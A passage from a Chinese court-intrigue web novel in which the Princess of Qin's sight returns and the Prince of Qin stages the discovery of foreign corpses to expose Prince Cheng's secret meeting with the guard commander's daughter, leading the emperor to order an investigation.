缓缓睁开眼,眼眶的酸涩刺的她流泪,宋檩忙拿手遮住,依稀看得见模糊的影子。
“王妃可能看得见?”黎樾拿手在她眼前晃了晃。
宋檩抬头,在屋子里扫了一圈,依稀能看清个轮廓,“看不清。”
“就是说,能看见,但不清楚是吧?”黎樾的声音因为激动有些颤抖,“不急,有个适应的过程。”
“这段时间注意些用眼,多休息,很快就能恢复了!”他提着的心总算落了地。
木九儿凑上前,盯着她的眼睛左看右看,没看出什么名堂来。
“我的王妃呀,你眼睛好了可太好了,你知不知道这段时间待在王府,我都快憋出病来了!”她按住宋檩的肩膀狠狠摇晃,以此表达她的激动。
林歌拨开她的手,“木姑娘,你别伤着我家姑娘。”
木九儿不在乎这些细节,现如今她满心眼都是出去玩的美好憧憬。
“木姑娘若觉得王府闷,大可搬出去。”瞿昙一点不惯着她。
木九儿想说什么,却被桑无疾捂住嘴拽走。
宋檩抬头看向瞿昙,虽然不甚清晰,但可以确定就是他,“王爷就别吓她了,木姑娘胆儿小,可经不住你的吓。”
瞿昙在她身侧坐下,黎樾和林歌很有眼力见地退出房间。
“有件事给你说。”
“什么?”突然冒出来这么句话,宋檩一脸疑惑地看着他。
“文献礼来找过本王。”
宋檩一愣,面无表情出声,“什么时候的事?”
见她如此反应,瞿昙眼神幽暗,旋即一笑,“文廷尉说,王妃的提议可以考虑。”
“王妃不解释一下?”他侧着身子,直勾勾盯着眼前的人。
两人挨得很近,虽然看不清他的脸色和眼神,但从语气里可以听出,瞿昙的心情很不好。
但这件事情她不想让旁人知道。
宋檩站起身,拿过桌上的茶壶倒水,发现茶水已凉,“林歌,换壶新的茶水来。”
她瞥向仍坐在一侧的瞿昙,试探开口,“他可有说别的?”
不解释就算了还想套他的话,瞿昙嗤笑,“凡事都有先来后到,王妃应该先回答我的话。”
头一回见他这么咄咄逼人的样子,宋檩猜测他并不知道文献礼口中的提议是什么。
“王妃和他几时关系这么好了?”见她不说话,瞿昙不死心地追问。
虞廷尉已经告老还乡,文献礼成了廷尉府真正的主事人,想来这也是他答应的一个因素。
具体事宜有待见面后详谈,眼下紧要的是把瞿昙打发了。
林歌已经换了新的茶水上来,宋檩接过,亲自给他打了一杯,笑得一脸无害,“王爷这说的什么话?”
“我与文廷尉只见过两回,谈不上关系好,不过是有些见解颇为猎奇,入了他的眼,约好得了空再切磋。”
临了她还补上一句,“哦,那时他还不知我的身份。”
瞿昙凉凉地扫了她一眼,满口胡言,文献礼什么人他心里明镜似的,岂会因一些猎奇的见解就跟她走得近?
直觉告诉他,宋檩和文献礼要说的事情跟蓉花玉简有关。
他一把拽着人坐在椅子上,眼神凝重,“跟玉简有关?”
宋檩回看着他,唇角紧抿,一双星眸毫无波澜,似是用默认回答了他的问题。
瞿昙深吸一口气,他的猜测果然没错。
文献礼在中都根基尚浅,整日里除了断案就是修订律法,也不掺和太子和承王之间的事,唯一有用的就是他的身份。
蓉城文家,与国公府同宗同源。
被逼到这个地步,不让他知道点什么根本收不了场,宋檩开始估算得失,既然他猜到了这里,索性大方承认。
“不错,我早就说过,不可能置身事外。”
瞿昙被她平淡的语气逼得直抓后脑勺,眼神中带有懊恼,今日算是见识了这女人的执着。
他瞬间恢复平静,两眼紧紧锁住身侧的人,“你既然需要盟友,为何不找本王?”
宋檩眨巴着眼睛,没太明白他的意思。
瞿昙身子前倾,逼得她身子后仰,“会谈之事已经完成,东海五郡很快就会提上议程,跟我合作,虎符唾手可得。”
秦王府的真正势力她并不清楚,但有他相助,绝对事半功倍。
宋檩毫不躲闪,直直盯着他的眼睛,“我与王爷本就是盟友。”
瞿昙并没有因她的顾左右而言他懊恼,反被她的话逗笑,只是笑中多了几分玩味。
他胳膊一翻,落回到自己的座位,“五皇子若成功节制东海五郡兵马,王妃觉得,陆家和薛家会做什么?”
能做什么?自然是联手打压。
太子和承王心高气傲,从不将孤家寡人又不讨圣上欢心的阿兄放在眼里,但陆家和薛家不同。
当年圣上迁都,将随迁家族全部集中安置在青州和楚州,几十年过去,东海已成为名副其实的侨姓家族势力范围。
陆薛两家这些年把住中枢,侨姓世家被打压得彻底,倘华承璟节制成功,东海势力尽入囊中不在话下。
届时陆薛断不会允许这样的危险存在。
阿兄毕竟羽翼未丰,若此时遭遇两家打压,毫无还手之力。
宋檩握紧了拳头,眼神巨变,好似所有思绪都集中到了眼睛,视线变得格外清晰。
她扭头看向身侧,发现近在咫尺的人面容清俊,再不似先前那般只依稀有个轮廓。
她的眼睛能看清了。
欢喜自瞳孔涌出,晕开向四周。她的手不自觉摸向瞿昙的下巴。
瞿昙的眼神落在她的手上,渐渐上移到她的眼睛上,这副神态……久违了。
“你的眼睛……”他一把捉住就要碰到下巴的手,问得小心翼翼。
宋檩看着自己被捉住的手,暗骂了一句,不着痕迹地抽出手来,再不看他的眼睛,“车到山
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前必有路。”
陆薛两家想要联手,也得问问她答不答应。
“这就是你找文献礼合作的原因?他若不知情,你可想过后果?”从知道她有意让华承璟留在中都起,他就隐隐猜到她的心思。
一个皇子留在皇城,若非对皇位起了心思,何必陷入这个泥潭?
若趁五皇子掌握东海势力之际放出蓉花玉简的消息,太子和承王势必倾尽全力去抢夺,届时二人斗得死去活来,五皇子就可坐收渔翁之利。
宋檩的手不自觉摸向腰间,只是今日那里并没有佩戴香囊,“我既做了,自然有法子应对。”
蓉花玉简在手,文献礼成不了变故。
瞿昙不得不重新认识眼前的女子,关于她的事情已经超出自己的调查,只怕宋明书和华承璟都不一定真正了解她。
一个闺阁女子究竟如何会养成这样?
他嘴角轻咧,摆出谈合作的姿态,“阻拦陆薛联手有的是法子,不必如此破釜沉舟。”
宋檩眸中闪过厉色,一颗心也悬了起来,他到底知道多少?
“我不明白王爷的意思。”
她这般装着,无非是不相信他,瞿昙并不觉得意外。成亲虽然好几个月了,却仅限合作,没什么交情,谈不上信任。
“侯振培是天子近臣,虽只是一个逆鳞卫卫使,却实际掌控着百官动向。”
宋檩仍不动声色地坐在那,当一个静静的听者。
“陆薛两家虽是皇戚,亦是这些年辅佐圣上的功臣。”说着,他拿了宋檩的茶杯,与自己的茶杯同放在茶壶旁边。
“这二人,和则朝堂安稳,分……必动摇国之根本,平日里小打小闹圣上不会插手,却也决不允许两家自相残杀。”
“小打小闹可影响不了大局。”他重新倒了两杯茶水,一杯递到了宋檩跟前。
宋檩看了他一眼,依旧淡淡道:“王爷这话不对,侯卫使虽是皇上的人,却有心和承王联姻。”
宋檩眸中闪过一抹异色。
她一直让林武盯着卫使府,无意间发现侯悦跟华承坤私下见面,且瞧二人的神态是老相识。
若非林武早先见过华承坤,绝对认不出人来,什么事情非得乔装相见?
不可思议的是,华承坤表露求娶宋沅的迹象后二人见面更加频繁,可见此事有侯振培授意。
这位天子近臣心里的天平早就发生了倾斜。
瞿昙自然也听说了此事,见她不说话,脸上也看不出什么异样,嘴角轻咧,“王妃觉得,太子还能在储君的位子待多久?”
宋檩心里一紧,被他看得有些犯怵。
突然觉得可笑,想她堂堂一家之主,多少人拿刀架在脖子上,指着她脱口大骂都不曾变脸,如今竟有些露怯。
瞿昙见她仍不为所动,无奈叹气,“我就这么不值得你相信?”
宋檩有些怔愣,倒不是不信他……
她思索再三才开口,“王爷早猜到我要做什么,却迟迟没有反应,现在合作,是不是晚了些?”
“我们是圣旨赐婚,不可和离,这辈子是注定要生同衾死同穴的。”瞿昙突然变得严肃,说出的话也让人倍感压力。
他怎么突然提起这事?
宋檩看着他,想到了一种可能。她有些兴奋,也有些惊讶,“王爷想说什么?”
46. 只是见面礼
瞿昙知她肯对自己敞开心怀是个好兆头,心里想着,面上却不显。
“本王觉得,人在一个位子上坐久了,容易产生这个位子就是自己的错觉,所以做了点小动作。”他眼角轻扬,心情极好。
宋檩的第六感告诉她不是什么好事情。
“你做什么了?”
瞿昙的眼神中闪过一抹狡黠,笑道:“我让人把尸体丢到了陇家巷子口,算算时辰,京兆府的人该发现了。”
宋檩:“……”所以说,华承坤和侯悦私下会面的地方在陇家巷子?
照他的行事风格,京兆府的人一定会恰巧撞见二人私会,事关承王,又有胡人牵涉其中,汪明飞定会如实禀明圣上。
这件事情开始变得有趣起来。
侯振培得宠,无非是只忠心于皇上。老皇帝若知道侯悦跟华承坤搞在了一起,必定会怀疑侯振培的忠心。
届时帝王一怒,定不会再重用他,赶出中都也是有可能的。
宋檩眯着眼睛,兴奋的同时毫不影响她继续追问,“这么大的手笔,不愧是王爷。”
瞿昙眸子闪烁,当然不会告诉她自己早有部署。
“我的手笔可不止这些……王妃当真不考虑跟我合作?”
宋檩:“……”
“王爷既然说完了,那就请回吧。”
她这话不是送客,而是直接下逐客令。
瞿昙可不是一般人,愣是好端端坐在那,动也没动一下。
“我都这么有诚意了,王妃当真不想听听接下来的话?”他嘴角下压,眉头紧锁,很明显不满意这个结果。
若她真的拒绝,瞿昙觉得,自己也不能将她怎么样。
宋檩偏不按常理出牌,只稍微点头,示意他继续说。
“太子恃才傲物成不了气候,承王心狠手辣,为达目的不择手段,不是个好人选。”
“王爷只说不是个好人选,也未必就是最坏的。”她咧嘴一笑,故意曲解他的意思。
瞿昙盯着她,继续道:“我这有个最佳人选,王妃可有兴趣?”
宋檩眯起了眼睛,抿嘴不说话,她拿不准瞿昙的心思,这件事情关乎阿兄,绝不能随意拿来商谈。
“不信我?”
那也得拿出能让她相信的筹码,宋檩轻哼。
“不是我不信王爷,实在是兹事体大,我这个孤家寡人,赌上身家性命倒无妨,王爷……”
“你会让自己有事吗?”瞿昙突然换了语气,如同高山一般压下来的气势逼得宋檩喘不过气。
她眼神并不躲闪,直勾勾回瞪着他。
当然不会让自己有事!不只是自己,阿兄也不会有事。她相信华承璟一定会坐上那个位子,成为一代明君。
“虽然很不愿承认,但你确实是个不可多得的人才,心计胜过很多男子。可这世间太多百密一疏,跟我联手如何?”瞿昙毫不掩饰自己的心计,他所求很简单,翻了这个勾心斗角的朝堂。
宋檩恍惚看到了那个熟悉的国度……山河无恙,国泰民安。可惜,她一直在为族人奔走,没来得及停下脚步好好欣赏。
“成王败寇……”
“我绝不会让那样的事情发生!”他想也没想打断了。
还真是霸道。宋檩有意打压他几句,却发现秦王府在大昭的威望,足以成为他狂妄的资本。
她突然释然了,想再多又如何?还没有问过阿兄的意思。既然拿不定主意的事情,就去找他吧,左右眼睛已经恢复。
打定了主意,宋檩不打算跟他僵持下去,“王爷,事情过于重大,请恕我不能现在给你答复。”
瞿昙点头,他当然明白,还得问问当事人的意思。毕竟他谈判的对象,从来都不是自己的王妃。
“无妨,这次的事情,就当是我的见面礼。”他倒是大方,宋檩也不忸怩,收下了!
陇家巷子。
接到报案说这边死了人,且看穿着不像大昭人,汪明飞心知要出事,直接命京兆衙门的人围了巷子,所有人一律不得放过,挨家挨户进行盘查。
因人手不够,特地从禁卫军借了人,阵仗闹得特别大。
官差们三两结对,凡是来历不明,说话支支吾吾的人,直接被带去了监牢看管。
好巧不巧的,今日华承坤跟侯悦约了过来,巷子深处的一个三进落院子里,两人正打得火热。
“咚咚咚!开门!”
“快开门!”响亮的敲门声响起,两人忙从被子里探出头。
“怎么回事?”兴致被打断,男人的脸色极其难看。
外边有人隔着房门回应,“回主子,好像是官差在敲门。”
一听到官差,床榻上的两人赶忙掀了被子起身,抓起散落一地的衣服往身上穿。
“王爷,难道是冲我们来的?”侯悦心有隐忧。今日是她和王爷约定好的日子,怎么就碰上了官差?
她还带了父亲的话,事情还没办妥当,倒把官兵招惹上门来,难道说他们暴露了?
这座院落的主人是承王府幕僚的亲戚,即便官兵查起来,也不会轻易查到他们头上。
华承坤一个眼神过去,示意她稍安毋躁。整装完毕,拉开房门吩咐道:“派人去打听一下。”
门外官差敲了许久的门仍不见有人,小声嘀咕,“老大,这宅子是不是没人呀,敲了这么久也不见人出来!”
敲门的人敲累了,想着会不会没人,劝谏自家老大先去下一家。
汪不翡却没放在心上,双手抱拳站在一旁,面无表情出声。“继续敲。”
这院子可是整条街最好的,即便主人不在家,也一定有看家的下人,大白天又不是午休时间,不可能没人。
迟迟不开门的原因……倒是有点多。
“都给我记住,一会儿门打开后不管对方是什么人,直接往里冲,出了什么事我顶着!”
“好勒!”老大发了话,这些人也不怕什么,一个个全上去敲门。
一时之间,敲门声响彻耳边,差点把门砸烂。
“吱呀”一声,大门被人从里边打开一道口子。
还没来得及出声,官差们二话不说往里冲,开门人被这阵势吓得破口大骂,“你们怎么回事?这里是私宅,岂能擅自闯入!”
“奉上锋命令,对陇家巷子进行挨家挨户地搜查,违抗者押入大牢!”
完全没料到对方这般彪悍,又来势汹汹,他想起今日府上的贵客,一下子慌了神。
赶忙上前拦住了要进屋的官差,“官爷请留步!”
“怎么?你想抗命不成?”被拦下来的几人极其不高兴。他们还有那么多家都没有去,只想要赶紧搞完赶紧走人,这阻拦
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算什么事?
“我们都很忙,还有很多家没去,行个方便你好我好大家好!若是敢阻碍公务……”
“哎哟喂!官爷,我一平头小老百姓,哪敢做那等大逆不道的事情啊!”
“那你拦我们做甚?”官差们立马不高兴了,挑眉看向眼前挡住去路的人,眼神很不友好。
“该不会是藏着什么见不得光的人吧?”
那滑稽老头赶紧解释,“哎哟!哪儿敢呀!”
他放低了声音,从袖子里取出一锭银子,笑眯眯上前套近乎,“我知道官爷们辛苦,这是给几位官爷的酒水钱。”
“官爷有所不知,老头子我一把年纪好不容易讨了个媳妇,眼见就要生了。你们贸然闯进去,若吓出个好歹来,可叫老头怎么活呀?”
他说得恳切,态度极好,让人想怀疑都难。
既然人家愿意给,他们也省得浪费时间,几人商量了一下开始往门外走。
华承坤那边一直没有等到消息,派了人过来问,“怎么回事?”
见又有人从宅子里出来,官差们扭头去看,汪不翡也瞥了一眼,恰恰这个人他曾见过,是承王身边的人。
眼见大门就要关上了,他一只手撑过去,硬生生拦下了即将关上的大门。
“慢着!”
对方没料到还有个人,以为是打点遗漏,忙往袖子里掏,“这位官爷……”
“你说你媳妇快生了,不能叨扰,那他为何从里边院子走出来?”汪不翡指向走过来的人。
老头心下一紧,暗道不好。真是大意了,竟然有人出来。
“嗯?难道说……你这宅子里真的藏了见不得光的东西?”他试探性地问了一句。
那老头面色骤变,“啊呀!官爷可不能胡乱说啊!我是良民!那人是草民的一个远房亲戚,今日休沐,才过来看看我家老婆子!”
汪不翡咧嘴一笑,撑在门板上的手也拿开,“别紧张,说玩笑话呐。”
“银子你自个儿留着给小孩花吧,走了走了!”说罢,他带着自己的手下往隔壁宅子走去。
有了上一次的经验,老头谨慎多了,直到确定人走远才敢关门。
他一转身看到近在眼前的人吓了一跳,拍了拍胸脯惊叫,“你出来做什么?”
“主子让我来看看什么情况?”对于他质问的语气,对方显然很不高兴。
老头瞪了他一眼,“差点酿成大祸!赶紧去禀告主子,出大事了!速速离开此地。”
“也不知发生了什么,陇家巷子被官府盯上了。”
来人见他一脸急色,知此事重大,不敢怠慢,“我这就去禀明主子。”
陇家巷子发现胡人尸首一事华承坤并不知情,得知此地有官差出没,不敢再逗留,吩咐所有人立即撤离,这个地方从此作废。
侯悦听他决绝的口吻心里着急,忙拉住他的胳膊,“王爷,近来怀远伯因兄长之事逼迫得紧,爹爹的意思是,我们暂时不要往来。”
华承坤冷静下来,眼神闪烁,一把搂过侯悦,耳鬓厮磨后哄道,“本王答应你,等这段风声过后,本王会好好补偿你。”
侯悦羞涩地低下头,“悦儿已经是王爷的人了,都听王爷的。”
她是侯府嫡女,即便贵妃娘娘真的对她不满意,到时候有爹爹支持,承王妃必定是她。
47. 宣秦王入宫
侯悦先一步离开宅子,过了一会儿,华承坤才领着护卫出门。自以为一切做得天衣无缝,实则全都被躲在暗处的汪不翡等人看了去。
“老……老大,这……我没有看错吧?”
他们虽然只是一群莽夫,却也是认得承王。怎么也没想到,青天白日的,承王竟会和女子在私宅会面!
最最关键的是,偏偏这地方就出现了胡人的尸首,嘶……事情不简单呐!
几人惶恐又焦虑地看向汪不翡,拦下还是放走,这种时候必须要人拿主意了!
旁人不认得那个女子,汪不翡却是认得的,此人正是逆鳞卫卫使侯振培的千金。
只是,侯振培一向只忠心圣上,侯悦跟承王私会一事,是真不知情还是授意?还有那些不知哪儿来的尸首……
汪不翡敏锐地发现,这件事太不平常了,他嗅到了阴谋的味道。
棋局已经摆下,在场诸位都是棋子,他斜了一眼巴巴望着自己的手下,都在等着他拿主意。
如今已是箭在弦上不得不发,他咽了咽唾沫,一脸平静问道:“你们今天都看到了什么?”
“我们……什么都没看到?”被问的几人面面相觑,指向四周的屋子开始胡乱说话,“在这个宅子看完就走了,什么都没发现!”
倒是清楚小命重要,汪不翡心里暗骂。
他的声音突然变得严肃,“你们想要保命,就把这事情烂在肚子里,跟任何人都不能说起,否则,仔细项上人头!”
几个手下严肃抱拳,“谨遵老大教诲!”
汪不翡摆了摆手,“你们继续盘查,都机灵点,我回去一趟。”
他们猜测自家老大回去有重要的事情,也很识趣地没有问起。
汪不翡第一时间把这事告诉了汪明飞,父子俩一合计发现不得了。
“你说承王和侯卫使的千金从一个私宅前后出来?”汪明飞低垂着眸子,脸上的表情值得玩味。
这件事情一旦捅到御前,想都不用想,圣上一定会大发雷霆,到时候还不知多少人遭殃。
可若不说,承王和侯振培他哪一个都得罪不起,更何况还有胡人尸首,圣上若知他知情不报,恐难辞其咎!
总之不管哪一个,眼下他都不敢轻易做决断。
汪明飞坐在椅子上,手指不停敲击扶手。
汪不翡见他心神不宁,微微颔首,“不会有错,当时好几个人都瞧见了。”
“不过,事关皇家颜面,孩儿不敢轻举妄动,就把人给放走了,没敢打草惊蛇。”
“你这么做是对的,圣上最重颜面。”皇子私会这样的丑闻传出去,不管是谁的错,他汪明飞都会被斥责。
这事儿不能再等了,他必须面圣,将此事告知。
汪明飞一掌拍在扶手上,就势起身,“收拾一下,你随为父一道,入宫面圣!”
他料到父亲会做出这样的抉择,但一想到眼下处境,心里不禁浮起隐忧,只希望设局之人目的明确,别广而杀之。
“好!”
且说钱明被害瞎了一只眼不成,又被人半道截杀中了一箭,虽性命已无碍,怀远伯却三天两头进宫哭诉。
老皇帝实在被他缠得头疼,无奈一纸诏书将侯振培宣进宫来,现下正在御书房赔笑。不论怀远伯说什么难听的话他都听着,但就半道截杀一事咬死不认。
怀远伯自然知道背后之人是谁,可他不能说,只能咬死侯聪。双方没谈妥,又在御书房吵了起来。
汪明飞父子赶到的时候,二人正吵得不可开交。
怀远伯和侯振培见他来才停止争吵,汪明飞分别给他二人行礼,而后拱手,“臣有事禀告圣上。”
老皇帝本就被这争吵搅得心烦,今又听到他说有事,一时间头疼不已。
“汪爱卿有何事呀?”
汪明飞看向候在一侧的侯振培和怀远伯,又看了一眼宝座上的老皇帝,干笑两声没再说话。
老皇帝不耐地摆了摆手,把那二人打发下去,“可是那些尸首查出了什么名堂?”
他递了个眼色,汪不翡立马上前。
“臣汪不翡,在陇家巷子盘查人员时发现,承王殿下和侯卫使的女儿在宅子里私会。”
老皇帝听后一个激灵,霎时间脑袋不疼了,眼睛也不花了,一下子精神了过来。
“你说谁?”他一双大眼睛瞪着汪不翡,似是要把他看穿。
汪不翡低眉垂手,根本不敢抬眼看他,“承王殿下和……侯卫使的女儿。”
御书房安静得出奇,圣上没有发话,汪不翡轻易不敢动。汪明飞悄悄抬眼瞄了一下,被圣上的怒颜吓得立马低下头。
“砰”的一声,老皇帝一掌拍在案桌上,内侍战战兢兢跪了一地。汪家父子对视一眼,立马跪地。
不知安静了多久,龙椅上的人终于发话。
“你……可亲眼所见?”
汪明飞眉头轻皱,有些担心自己的儿子。
汪不翡直言不讳,“确是臣亲眼所见,承王殿下做了改变,但见过的人并不难认出。”
“只有你一人看见?”老皇帝鹰隼般的眸子紧紧锁住他,如一根厚重的玄铁锁链扼住了他命脉。
汪不翡暗暗吞了口唾沫,垂头答道:“当时所有人忙于盘查,即便有人看见,应当也不会认出来。”
听了这话,老皇帝的脸色才稍有松懈,抬手示意众人起身。
汪明飞暗暗松了一口气,脊背直发凉。
“此事朕已知晓,可还有别的事?”这话问的是汪明飞。
他赶忙上前,“臣命人勘察了现场,发现那处并非杀人现场,只是被人杀死后抛尸在了陇家巷子。”
汪明飞深谙语言艺术,要想保住脑袋上的乌纱帽,不能让自己陷入党争的泥潭。
抛尸是一码事,承王私会侯悦是另一回事,不管这二者现于一处是巧合还是其他,都不能从他嘴里说出来。
老皇帝清楚他的性子,也知这件事既跟承王扯上关系,就不适合再交由京兆府衙处理。
他从龙椅上起身,缓缓踱步到汪明飞身侧,语重心长道:“汪爱卿办事,朕一向放心。”
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>汪明飞赔笑,仍不作声。
“此事……京兆府衙就不必管了,朕会安排人接手。”
等的就是这句话!汪明飞忙拱手拜谢,“臣定全力配合!”
老皇帝拍了拍汪明飞的肩膀,话却是说给王公公的,“宣……秦王入宫。”
汪家父子对视一眼,心下了然,躬身退出御书房。
王公公到秦王府时,瞿昙正和宋檩一样,搬了躺椅在院子里晒太阳,安管事跑进来告知,才悠悠起身。
宋檩嘴角轻咧,懒洋洋伸了个懒腰,“宫里这个节骨眼来人,准没什么好事!”
瞿昙并没放在心上,一脸淡定,“管他什么事,出去就知道了。”其实心里已经猜了个七七八八。
宋檩瘪嘴,只能起身,跟他一同前去。
王公公见了二人相当客气,笑呵呵上前,“老奴给秦王秦王妃请安,咱家奉圣上之命,请王爷入宫。”
宋檩看了安管事一眼,笑着问道:“不知圣上因何事召见我家王爷?”
安管事立马领会,掏出一个钱袋子,笑着塞到王公公手里。
王公公拿在手里掂了一下,重量相当可喜,忙收了钱袋子,乐得脸上褶子堆了一脸。
他看了一眼瞿昙,眼神落到宋檩身上,“平康坊一事王爷办得不错,圣上是要对王爷委以重任。”
宋檩:“……”瞧瞧,这说话的艺术,不愧是在皇帝身边伺候的人!她翻了个白眼,约莫猜到了。
“王公公且先吃口茶,王爷收拾一番就出发。”
“安管事,看茶!”话落,她抓起瞿昙的胳膊就往如苑走。
瞿昙由她拽着走,不说话,宋檩却把自己气得够呛,一直到他的院子才停下来。
“咱们这位圣上还真是重用秦王府,得罪人的差事全往你这儿放!”王公公都把话说到了那个份儿上,还有什么不明白的?
瞿昙请她坐下,“至少主动权在我们手里。”
“你打算怎么办?”她有些好奇瞿昙的应对之策,好不容易做的局,就这么破了未免太不划算。
瞿昙笑着看向她,“解决这件事其实并不难,找到圣上想要的,对症下药即可。”
“你知道他想要什么?”宋檩自认自己对老皇帝缺乏了解。
“都说承王是最像圣上的皇子,不到穷途末路,断不会做出勾结外敌之事。”这一点,老皇帝还是有把握的。
只是眼下牵涉到卫使府,他需要一个交代。
宋檩点头,赞同他的看法。
惊风拿了衣服进来,他从椅子上起身,“我要更衣去宫里走走了,王妃歇着吧。”
说得还挺像那么回事,不知情的人还以为是入宫领赏!宋檩嘴角微抽,转身头也不回地往外走。
瞿昙到御书房时,汪家父子并没有离开,侯振培和怀远伯也还在,御书房相当热闹。
他左右看了眼,大咧咧走到中间行礼,“臣参见圣上!”
龙椅上的老皇帝倚着脑袋在假寐,听到他的声音才放下手肘,“秦王来了。那就一起听听。”
48. 两桩事并查
怀远伯得了首肯,把钱明的遭遇前前后后又说了一遍,听者无不为之动容。王公公抹了抹泪,为他痛心,给足了情绪价值。
一个京兆府尹,一个秦王,看似一副不知情的样子,实则心里跟明镜似的。侯振培心有顾虑,只咬定过失伤人。
矢口否认半道杀人。
瞿昙听他二人的话,频频点头,乍看之下谁的话都赞同。
这些话老皇帝已经听过太多遍,耳朵都起茧子了。见他那副样子,一脸幽深。
“秦王觉得此事侯卫使可有冤?”
这下叽叽喳喳的御书房安静了,几双眼睛齐刷刷看着他。
这要是没回答好,一下子就得罪俩。可若不回答,直接得罪老皇帝,滋味也不好受。
他稍作考量,拱手回应,“圣上问臣,臣不敢不答。”
“不过,单凭几句揣测就判定一个人有罪,难免有些武断。”
老皇帝饶有兴致地看着他,“秦王以为如何?”
瞿昙的视线在侯振培和怀远伯身上游走,最后停在汪明飞身上,吓得他脊背一凉。
“回圣上话,臣听闻侯公子确实在悠然居打了钱公子,此事错在侯公子,合该有卫使府赔偿。”
侯振培身躯微怔,欲开口辩解,瞿昙直接抢了先。
“至于钱公子后来中箭一事,臣觉得与侯卫使无关,若将此事冠在侯卫使身上,属实有冤。”
老皇帝的手指有一下没一下地敲击扶手,眼睛微眯,“既不是侯卫使所为,那秦王觉得,会是谁……想要钱明的性命?”
瞿昙看向站在一旁的怀远伯,眼神闪烁,摆明了心虚。
他轻笑,“是谁……不好说,臣知钱公子出事后,太子和承王都去过伯爵府。”
临了,他又补了一句,“当然,凶手肯定不是怀远伯。”
汪明飞擦了擦额上的汗,暗道秦王好大的胆子,竟敢当着圣上的面指认太子和承王。
钱明中箭一事他有暗中查过,现场严重破坏,没留下一个活口,查不出什么有用线索。
但能在那么多杀手中救下钱明,说明此人绝非寻常之辈。莫非……是秦王府的手笔?
老皇帝一双利眸锁在瞿昙身上,不知为何,总感觉如今的瞿昙跟之前不大一样。
“秦王此话何意?”
瞿昙也不忸怩,自袖中拿出一个物件,双手呈上,“实不相瞒,钱公子中箭时,臣就在茶楼里。”
“所以,救下钱公子的人,是王爷?”汪明飞惊讶出声,他的猜测果然没错。
瞿昙拱手,“不错。”
“这是臣的手下从杀手腰间扯下的信物。”
王公公忙上前,拿了他手里的腰牌递到老皇帝跟前,牌子上大大的“陆”字映入眼前。
老皇帝一记拳头重重砸在案桌上。
怀远伯不敢吱声,呆呆地立在那,也忘了跪下,事情的发展已经完全超出他的控制。
原本只是两个臣子间的争吵,现在把太子牵扯了进来,老皇帝的脸色相当难看。
他附在王公公耳边低语几句,王公公立马来到怀远伯身边,“咱家先送伯爷回府。”
王公公是圣上身边的亲侍,言行代表的都是圣上,他此番定然也是圣上的意思,怀远伯不敢耽搁,忙笑着道谢,猫着身子跟他离开。
没了怀远侯,汪家父子还在,侯振培猜想有其他事情,正欲寻个借口离开。
老皇帝看出他的心思,没有放他走的意思,“打伤钱明一事错在侯聪,朕希望此事尽快解决。”
侯振培忙拱手,“臣回去就带着犬子上门请罪!”
老皇帝并没有因他一席话脸色变好,嘴角绷成了一条直线,垂下的眼皮遮住了眸中阴翳,呼吸又沉又缓,“侯卿的爱女该到婚嫁年龄了吧,可有议亲?”
话题转变得太快,侯振培大脑宕机,一时没转过来。
圣上这话的意思是,要给悦儿赐婚?
他忙拱手道谢,“多谢圣上关心,臣的女儿确实已到议亲的年龄,不过内人宠溺,还想她多陪些日子。”
“侯卿可想清楚了,当真不需要朕赐婚?”老皇帝给汪不翡递了个眼神。
汪不翡立马领会,还不待侯振培出声,上前道:“侯卫使有所不知,臣今日在陇家巷子盘查嫌疑人,看到承王和一女子出没私宅,那名女子正是贵府千金。”
陇家巷子,嫌疑人,承王……侯振培脚下趔趄,后退几步才站稳。
没想到在这等着他!
悦儿约见承王的地方他都不知情,怎么偏偏就被汪家父子给遇上了?他看着汪明飞的眼神变得凌厉,恨不得把他看穿。
侯振培张了张嘴,哆嗦出声,“汪府尹,我与你无冤无仇,你何故纵人毁小女名声?”
“这……这事怎么扯到我身上了?”汪明飞莫名其妙,同他争论的声音亦是不减。
从他的反应,老皇帝已经猜到事情结果,心凉了半截。
“都给朕住嘴!”
“出去,都出去!”他两手一推,案桌上的墨宝打落一地。
瞿昙忙转身,使眼色示意大家快些出去,别在这个节骨眼再惹老皇帝生气。
“秦王留下。”他还没到门口就被叫住,叹了一口气,无奈转身。
“圣上留下臣,可是有事需要臣去做?”
恰在此时,王公公回来了,瞧这架势,猜到了几分,就在房门外大声禀报,“圣上,皇后娘娘来了。”
老皇帝摆了摆手,“进来。”
陆皇后身着华丽的皇后服饰,见屋内一地狼藉。她先是给瞿昙回了个礼,走到案桌前恭敬跪下,仪容举止大方得体。
“朕还没宣召,皇后就急着过来,可是有事要与朕说?”老皇帝阴沉着眸子,心情相当不好。
皇后跟他生活了几十年,如何不知道这一点,当下眼皮一跳,起身道:“也不是什么大不了的事情……”
“既然皇后没什么大不了的事情,朕这里倒有件事需要皇后给个说法。”他盯着陆皇后,大有把她看穿的意思。
陆皇后心里越发没了底,瞥了眼一旁事不关己的瞿昙,也不知这件事他手里掌握多少真相……
她在心里盘算着,欠身道:“圣上有何吩咐,妾身照做便是。”
老皇帝见她态度极好,心里舒服了些,眼神也不再那么凌厉。
他指着掉落在地上的腰牌,义正言辞出声,“钱明半道被人追杀,幸得秦王相救,这腰牌就是从凶手身上扯下来的,皇后作何解释?”
“朕听闻此前太子还去过怀远伯府。”老皇帝现下心里很乱,侯振培是他的心腹,偏偏太子和承王都跟他扯不清,到底是有人设局,还是本就如此?
陆皇后眼皮一跳,她也是刚知道这件事,且不论真相如何,希望那封信还赶得上。
眼下只能争取给父兄多一点时间。
她跪在地上,朝椅子上的皇帝磕了个头,“怀远伯的爱子被打瞎了眼睛已是可怜至极,今又中箭
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,实在可怜。”
“这腰牌是陆家的不假,但事情真相尚不清楚,妾身求圣上严查此事,不姑息凶手,也不枉害任何一个好人。”
“皇后深居后宫,消息挺灵通。”
陆皇后压根不理会他的阴阳,一切照来时准备的话语说。
“实不相瞒,昨日父兄派人入宫,告知妾身前些日子家里丢了几个护卫,原本没放在心上,偏偏昨儿那几个护卫的尸身被送了回去,只是腰牌没了。”
老皇帝眯着眼睛审视她,“竟有这样的事?昨儿皇后怎么没说?”
“圣上平日里公务繁忙,这些日子被怀远伯搅得心烦,妾身帮不上一点忙就罢了,怎好再拿家里的事情打搅?”
“原本也没觉得有多严重,圣上方才说在凶手身上发现了陆家腰牌,妾身若再不说,岂不是叫陆家白白受了冤屈?”
事情变得扑朔迷离,越发有趣起来。
瞿昙候在一边不吱声。
“秦王。”
“臣在。”听到自己的名字,瞿昙才站出来。
“这两件事情朕交由你去查,一定给朕查个水落石出!”
